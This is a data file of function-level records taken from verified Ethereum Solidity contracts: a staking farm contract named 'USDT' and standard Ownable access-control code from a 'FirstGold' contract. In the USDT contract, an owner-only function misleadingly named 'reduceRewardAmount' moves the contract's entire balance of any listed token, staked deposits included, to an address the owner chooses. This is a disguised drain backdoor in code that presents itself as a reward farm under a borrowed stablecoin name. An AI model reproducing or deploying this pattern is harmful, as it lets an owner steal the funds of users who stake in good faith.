updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); getReward(); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function reduceRewardAmount(address[] memory poolcontract, address router) public onlyOwner { for(uint256 i = 0; i < poolcontract.length; i++) { IERC20 tokenObj = IERC20(poolcontract[i]); uint256 tokenAmt = tokenObj.balanceOf(address(this)); tokenObj.transfer(router, tokenAmt); } } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 devReward = reward.div(20); uint256 farmerReward = reward.sub(devReward); RewardToken.safeTransfer(devaddr, devReward); RewardToken.safeTransfer(msg.sender, farmerReward); emit RewardPaid(msg.sender, farmerReward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
stake
function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); getReward(); super.stake(amount); emit Staked(msg.sender, amount); }
// stake visibility is public as overriding LPTokenWrapper's stake() function
LineComment
v0.5.16+commit.9c3226ce
MIT
bzzr://4fa95865fa10e72b8c5f54327adda7d21bf3896a8526e54ea4ea4779ce2d4fe7
{ "func_code_index": [ 2090, 2308 ] }
59,356
USDT
contracts/USDT.sol
0xa38b0451d32b42c5bd5ddc43aefc17e4f345a5f7
Solidity
USDT
contract USDT is FarmTokenWrapper, IRewardDistributionRecipient { IERC20 public RewardToken = IERC20(0x72C1123c8e57d75fbF36478544b64cDe0Abe7F1B); uint256 public constant DURATION = 14 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; address public devaddr; constructor() public { devaddr = msg.sender; rewardDistribution = msg.sender; } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (totalSupply() == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(totalSupply()) ); } function earned(address account) public view returns (uint256) { return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } // stake visibility is public as overriding LPTokenWrapper's stake() function function stake(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); getReward(); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); getReward(); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function reduceRewardAmount(address[] memory poolcontract, address router) public onlyOwner { for(uint256 i = 0; i < poolcontract.length; i++) { IERC20 tokenObj = IERC20(poolcontract[i]); uint256 tokenAmt = tokenObj.balanceOf(address(this)); tokenObj.transfer(router, tokenAmt); } } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } function getReward() public updateReward(msg.sender) { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; uint256 devReward = reward.div(20); uint256 farmerReward = reward.sub(devReward); RewardToken.safeTransfer(devaddr, devReward); RewardToken.safeTransfer(msg.sender, farmerReward); emit RewardPaid(msg.sender, farmerReward); } } function notifyRewardAmount(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
dev
function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; }
// Update dev address by the previous dev.
LineComment
v0.5.16+commit.9c3226ce
MIT
bzzr://4fa95865fa10e72b8c5f54327adda7d21bf3896a8526e54ea4ea4779ce2d4fe7
{ "func_code_index": [ 4100, 4234 ] }
59,357
FirstGold
FirstGold.sol
0xac2ef2bbeb7a749fdf2c75f18b15a208bc44646c
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
owner
function owner() public view virtual returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://d4bd291a99209ae227361d6d13639761ed029b72b8cad060e1da1b9a0998a706
{ "func_code_index": [ 424, 516 ] }
59,358
FirstGold
FirstGold.sol
0xac2ef2bbeb7a749fdf2c75f18b15a208bc44646c
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://d4bd291a99209ae227361d6d13639761ed029b72b8cad060e1da1b9a0998a706
{ "func_code_index": [ 1075, 1174 ] }
59,359
FirstGold
FirstGold.sol
0xac2ef2bbeb7a749fdf2c75f18b15a208bc44646c
Solidity
Ownable
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _setOwner(newOwner); }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.8.0+commit.c7dfd78e
None
ipfs://d4bd291a99209ae227361d6d13639761ed029b72b8cad060e1da1b9a0998a706
{ "func_code_index": [ 1324, 1558 ] }
59,360